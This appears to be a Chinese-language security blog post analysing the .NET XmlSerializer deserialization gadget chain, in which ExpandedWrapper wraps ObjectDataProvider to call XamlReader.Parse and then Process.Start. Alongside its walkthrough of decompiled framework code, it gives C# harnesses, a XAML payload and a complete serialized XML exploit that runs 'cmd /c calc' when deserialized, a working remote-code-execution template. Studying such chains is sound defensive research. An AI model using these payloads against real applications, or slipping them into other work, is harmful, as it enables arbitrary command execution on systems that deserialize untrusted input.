利用链分析
我们先从ObjectDataProvider
开始,有下面一段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| using System; using System.Diagnostics; using System.Windows.Data; using System.IO; using System.Xml.Serialization;
namespace Test { public class Program { static void Main(string[] args) { ObjectDataProvider odp = new ObjectDataProvider(); odp.ObjectInstance = new Process(); odp.MethodParameters.Add("cmd.exe"); odp.MethodParameters.Add("/c calc"); odp.MethodName = "Start"; } } }
|
当这段代码运行后会弹出计算机,那么命令行代码的执行时机是在哪呢,我们观察ObjectDataProvider
的MethodName
以及MethodParameters
成员变量,发现Methodname
存在set
访问器
在set
访问器中有一个if判断是否是延迟刷新,默认计算结果为false
即会调用到Refresh
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| [DefaultValue(null)] public string MethodName { get { return _methodName; } set { _methodName = value; OnPropertyChanged("MethodName"); if (!base.IsRefreshDeferred) { Refresh(); } } }
|
Refresh
方法最终会调用到QueryWorker
方法,在QueryWorker
方法中会调用到InvokeMethodOnInstance
方法调用命令执行方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| public void Refresh() { _initialLoadCalled = true; BeginQuery(); } protected override void BeginQuery() { if (TraceData.IsExtendedTraceEnabled(this, TraceDataLevel.Attach)) { TraceData.Trace(TraceEventType.Warning, TraceData.BeginQuery(TraceData.Identify(this), IsAsynchronous ? "asynchronous" : "synchronous")); }
if (IsAsynchronous) { ThreadPool.QueueUserWorkItem(QueryWorker, null); } else { QueryWorker(null); } } private void QueryWorker(object obj) { object obj2 = null; Exception e = null; if (_mode == SourceMode.NoSource || _objectType == null) { if (TraceData.IsEnabled) { TraceData.Trace(TraceEventType.Error, TraceData.ObjectDataProviderHasNoSource); }
e = new InvalidOperationException(SR.Get("ObjectDataProviderHasNoSource")); } else { Exception e2 = null; if (_needNewInstance && _mode == SourceMode.FromType) { ConstructorInfo[] constructors = _objectType.GetConstructors(); if (constructors.Length != 0) { _objectInstance = CreateObjectInstance(out e2); }
_needNewInstance = false; }
if (string.IsNullOrEmpty(MethodName)) { obj2 = _objectInstance; } else { obj2 = InvokeMethodOnInstance(out e); if (e != null && e2 != null) { e = e2; } } }
|
在InvokeMethodOnInstance
将会调用指定方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| private object InvokeMethodOnInstance(out Exception e) { object result = null; string text = null; e = null; object[] array = new object[_methodParameters.Count]; _methodParameters.CopyTo(array, 0); try { result = _objectType.InvokeMember(MethodName, BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy | BindingFlags.InvokeMethod | BindingFlags.OptionalParamBinding, null, _objectInstance, array, CultureInfo.InvariantCulture); } ... }
|
也就是说MethodName
变量的set
访问器被触发时会调用objectInstance
变量所指向对下个你的指定方法,方法名为methodName
变量的值,参数为MethodParameters
。
XmlSerializer
类在反序列化xml
的时候会构造ObjectDataProvider
对象,在对象构造的过程中会调用到其成员变量的set
访问器为成员变量赋值从而触发命令执行。
只是这样是不够的,因为ObjectDataProvider
对象并不能被XmlSerializer
序列化。这个时候就需要ExpandedWrapper
对ObjectDataProvider
进行包装,另外即便ObjectDataProvider
被包装后也是不能成功序列化的,
因为ObjectProvider
的成员变量ObjectInstance
是一个Process
对象,因为该对象是不能被XmlSerializer
序列化的。
我们可以先对命令执行的方法进行一下封装让其能够被序列化方便测试。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| [XmlRoot] public class ProcessT { public void exec() { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c calc"; process.Start(); } } class Program { static void Main(string[] args) { ExpandedWrapper<ProcessT, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<ProcessT, ObjectDataProvider>(); ObjectDataProvider object_data_provider = new ObjectDataProvider(); object_data_provider.MethodName = "exec"; object_data_provider.ObjectInstance = new ProcessT(); expandedWrapper.ProjectedProperty0 = object_data_provider; XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<ProcessT, ObjectDataProvider>)); TextWriter text_writer = new StreamWriter(@"test.xml"); xml.Serialize(text_writer, expandedWrapper); text_writer.Close(); } }
|
这样被封装后就解决了Process
不能被序列化的问题,那么ExpandedWrapper
是如何解决ObjectDataprovider
不能被序列化的问题的呢?
在test.xml
中序列化的数据为
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <ExpandedWrapperOfProcessTObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <ProjectedProperty0> <ObjectInstance xsi:type="ProcessT" /> <MethodName>exec</MethodName> </ProjectedProperty0> </ExpandedWrapperOfProcessTObjectDataProvider>
|
ExpandedWrapper
被编译的时候会自动生成一个程序集(咱也不知道是谁生成的,我看的文章是说在XmlSerializer在初始化的时候生成这个程序集),
这个程序集中包含两个类分别是 XmlSerializationReaderExpandedWrapper2
以及XmlSerializationWriterExpandedWrapper2
分别在ExpanderWrapper
的序列化以及反序列化过程中被调用

在反序列化过程中首先被调用的是Read9_Item
方法

Read9_Item
方法调用Read8_Item
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public object Read9_Item() { object result = null; base.Reader.MoveToContent(); if (base.Reader.NodeType == XmlNodeType.Element) { if (base.Reader.LocalName != this.id1_Item || base.Reader.NamespaceURI != this.id2_Item) { throw base.CreateUnknownNodeException(); } result = this.Read8_Item(true, true); } else { base.UnknownNode(null, ":ExpandedWrapperOfProcessTObjectDataProvider"); } return result; }
|
Read8_Item
最终调用到Read7_ObjectDataProvider
,看到这个名字联想到是否会创建ObjectDataProvider
这样是否就会给其objectInstance
以及MehtodName
属性赋值从而触发命令执行?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| private ExpandedWrapper<ProcessT, ObjectDataProvider> Read8_Item(bool isNullable, bool checkType) { XmlQualifiedName xmlQualifiedName = checkType ? base.GetXsiType() : null; bool flag = false; if (isNullable) { flag = base.ReadNull(); } if (checkType) { if (xmlQualifiedName != null && (xmlQualifiedName.Name != this.id1_Item || xmlQualifiedName.Namespace != this.id2_Item)) { throw base.CreateUnknownTypeException(xmlQualifiedName); } } ExpandedWrapper<ProcessT, ObjectDataProvider> result; if (flag) { result = null; } else { ExpandedWrapper<ProcessT, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<ProcessT, ObjectDataProvider>(); bool[] array = new bool[3]; while (base.Reader.MoveToNextAttribute()) { if (!base.IsXmlnsAttribute(base.Reader.Name)) { base.UnknownNode(expandedWrapper); } } base.Reader.MoveToElement(); if (base.Reader.IsEmptyElement) { base.Reader.Skip(); result = expandedWrapper; } else { base.Reader.ReadStartElement(); base.Reader.MoveToContent(); int num = 0; int readerCount = base.ReaderCount; while (base.Reader.NodeType != XmlNodeType.EndElement && base.Reader.NodeType != XmlNodeType.None) { if (base.Reader.NodeType == XmlNodeType.Element) { if (!array[0] && (base.Reader.LocalName == this.id3_Description && base.Reader.NamespaceURI == this.id2_Item)) { expandedWrapper.Description = base.Reader.ReadElementString(); array[0] = true; } else if (!array[1] && (base.Reader.LocalName == this.id4_ExpandedElement && base.Reader.NamespaceURI == this.id2_Item)) { expandedWrapper.ExpandedElement = this.Read2_ProcessT(false, true); array[1] = true; } else if (!array[2] && (base.Reader.LocalName == this.id5_ProjectedProperty0 && base.Reader.NamespaceURI == this.id2_Item)) { expandedWrapper.ProjectedProperty0 = this.Read7_ObjectDataProvider(false, true); array[2] = true; } else { base.UnknownNode(expandedWrapper, ":Description, :ExpandedElement, :ProjectedProperty0"); } } else { base.UnknownNode(expandedWrapper, ":Description, :ExpandedElement, :ProjectedProperty0"); } base.Reader.MoveToContent(); base.CheckReaderCount(ref num, ref readerCount); } base.ReadEndElement(); result = expandedWrapper; } } return result; }
|
Read7_ObjectDataProvider
在为MethodName
赋值时将会触发 MehtodName
的set
访问器 从而触发命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| private ObjectDataProvider Read7_ObjectDataProvider(bool isNullable, bool checkType) { ... else { ObjectDataProvider objectDataProvider = new ObjectDataProvider(); IList constructorParameters = objectDataProvider.ConstructorParameters; IList methodParameters = objectDataProvider.MethodParameters; bool[] array = new bool[7]; while (base.Reader.MoveToNextAttribute()) { if (!base.IsXmlnsAttribute(base.Reader.Name)) { base.UnknownNode(objectDataProvider); } } base.Reader.MoveToElement(); if (base.Reader.IsEmptyElement) { base.Reader.Skip(); result = objectDataProvider; } else { base.Reader.ReadStartElement(); base.Reader.MoveToContent(); int num = 0; int readerCount = base.ReaderCount; while (base.Reader.NodeType != XmlNodeType.EndElement && base.Reader.NodeType != XmlNodeType.None) { if (base.Reader.NodeType == XmlNodeType.Element) { if (!array[0] && (base.Reader.LocalName == this.id7_IsInitialLoadEnabled && base.Reader.NamespaceURI == this.id2_Item)) { if (base.Reader.IsEmptyElement) { base.Reader.Skip(); } else { objectDataProvider.IsInitialLoadEnabled = XmlConvert.ToBoolean(base.Reader.ReadElementString()); } array[0] = true; } else if (!array[1] && (base.Reader.LocalName == this.id8_ObjectType && base.Reader.NamespaceURI == this.id2_Item)) { objectDataProvider.ObjectType = this.Read6_Type(false, true); array[1] = true; } else if (!array[2] && (base.Reader.LocalName == this.id9_ObjectInstance && base.Reader.NamespaceURI == this.id2_Item)) { objectDataProvider.ObjectInstance = this.Read1_Object(false, true); array[2] = true; } else if (!array[3] && (base.Reader.LocalName == this.id10_MethodName && base.Reader.NamespaceURI == this.id2_Item)) { objectDataProvider.MethodName = base.Reader.ReadElementString(); array[3] = true; } ... }
|
到这里我们知道了通过ExpandWrapper
包装ObjectDataProvider
可以成功调用命令执行,但是这里有个问题就是我们的示例中调用的方法时自定义类ProcessT
的eval
方法,而在生产环境中是否存在这样一个可以进行命令执行的方法呢?
可能会有,但是这里不讨论,这里我们通过另一种方式解决Process
不能序列化的问题。
通过前面的内容我们知道通过ObjectDataProvider
可以调用任意类的任意方法,那么如果我们可以通过XmlSerializer -> ObjectDataProvider -> xxx类xx方法 -> objectDataProvider -> Process
不一样可以解决问题?
这里需要满足的条件时xxx类xxx方法
在调用到ObjectDataprovider
的过程中不会出现前面提到的某些类不能序列化的问题。
这里找到的类以及方法为XamlReader
的parse
方法,该方法可以将xaml
字符串反序列化为对应的数据对象。
使用如下格式的payload
边可以触发命令执行。
1 2 3 4 5 6 7 8 9 10 11 12
| <ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""> <ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start""> <ObjectDataProvider.MethodParameters> <b:String>cmd</b:String> <b:String>/c calc</b:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>
|
可用如下代码进行测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>(); expandedWrapper.ProjectedProperty0 = new ObjectDataProvider(); expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader(); expandedWrapper.ProjectedProperty0.MethodName = "Parse"; expandedWrapper.ProjectedProperty0.MethodParameters.Add(@"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""> <ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start""> <ObjectDataProvider.MethodParameters> <b:String>cmd</b:String> <b:String>/c calc</b:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary> "); MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>)); xml.Serialize(writer, expandedWrapper); memoryStream.Position = 0; xml.Deserialize(memoryStream); Console.ReadKey();
|
那么接下来只需将xaml
与通过objectProvider
调用XamlReader.Parse
方法的字符串结合起来即可
XmlSerializer
的Deserialize
方法调用时先创建ExpandWrapper
对象,在为ExpandWrapper
的属性ProjectedProperty0
赋值时会调用Read7_ObjectDataProvider
方法创建ObjectDataProvider
对象,
ObjectDataProvider
对象创建过程中会调用到MethodName
的set
访问器,然后触犯XamlReader
的Parse
方法对ResourceDictionary
进行解析创建ObjectDataProvider
这个资源,从而再次访问到ObjectDataProvider
的MethodName
属性的set
访问器
从而调用到Process
的Start
方法,从而导致命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" > <ExpandedElement/> <ProjectedProperty0> <MethodName>Parse</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"> <![CDATA[ <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <b:String>cmd</b:String> <b:String>/c calc</b:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary> ]]> </anyType> </MethodParameters> <ObjectInstance xsi:type="XamlReader"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfXamlReaderObjectDataProvider>
|